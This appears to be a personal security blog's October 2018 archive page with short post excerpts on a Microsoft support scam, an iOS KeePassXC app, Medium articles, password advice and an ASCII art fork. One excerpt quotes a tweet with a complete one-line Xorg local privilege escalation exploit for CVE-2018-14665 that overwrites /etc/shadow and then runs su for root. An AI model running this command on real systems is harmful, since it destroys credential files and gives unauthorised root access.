I just came across this video (posted yesterday), where scammers are leveraging Microsoft’s legitimate support site at https://support.microsoft.com/help. This was after I received a fake Microsoft support call. Unfortunately, I didn’t have a dummy VM ready to waste their time, but glad I found out about the use of Microsoft’s site. Because Microsoft uses LogMeIn, […]
Month: October 2018
CVE-2018-14665: Exploit in a Tweet
Hacker Fantastic has another Tweet-able exploit for a system: #CVE-2018-14665 – a LPE exploit via https://t.co/eax3fvaAjE fits in a tweet cd /etc; Xorg -fp “root::16431:0:99999:7:::” -logfile shadow :1;su Overwrite shadow (or any) file on most Linux, get root privileges. *BSD and any other Xorg desktop also affected.— Hacker Fantastic (@hackerfantastic) October 25, 2018 Twitter: @HackerFantastic
Finally Found a KeePassXC Client for iOS!
Found out about this app from /r/KeePass: KyPass 4 (iOS) TOTP? I’ve always had a problem trying to get an iOS app that would work with KeePassXC databases. Seems to be working fine right from the start, so definitely worth the $6.99 price tag.
Useful Medium Articles
Two Medium articles that I end up using over & over & want to make sure I save: Medium: Run ResilioSync (Btsync) as normal user under Ubuntu Medium: Upgrade Your SSH Key to Ed25519
ANOTHER GOOD article about passwords
Very glad to see another post by a site, giving good information on handling passwords, security question answers, & the recommendation to use password managers. I last had a post about this in July, when Dreamhost also put out a good article about creating strong passwords for account security. The link to that article is below […]
ASCII Art: Random “Image”
Found this repository on GitHub & figured I’d fork it & add some of my own graphics to it: GitHub: DanCRichards / ASCII-Art-Splash-Screen And here is my fork: GitHub: veritas06 / ASCII-Art-Splash-Screen So far all I’ve done is modify the script to look at my GitHub repository (instead of DanCRichards’) & add a single graphic, just to […]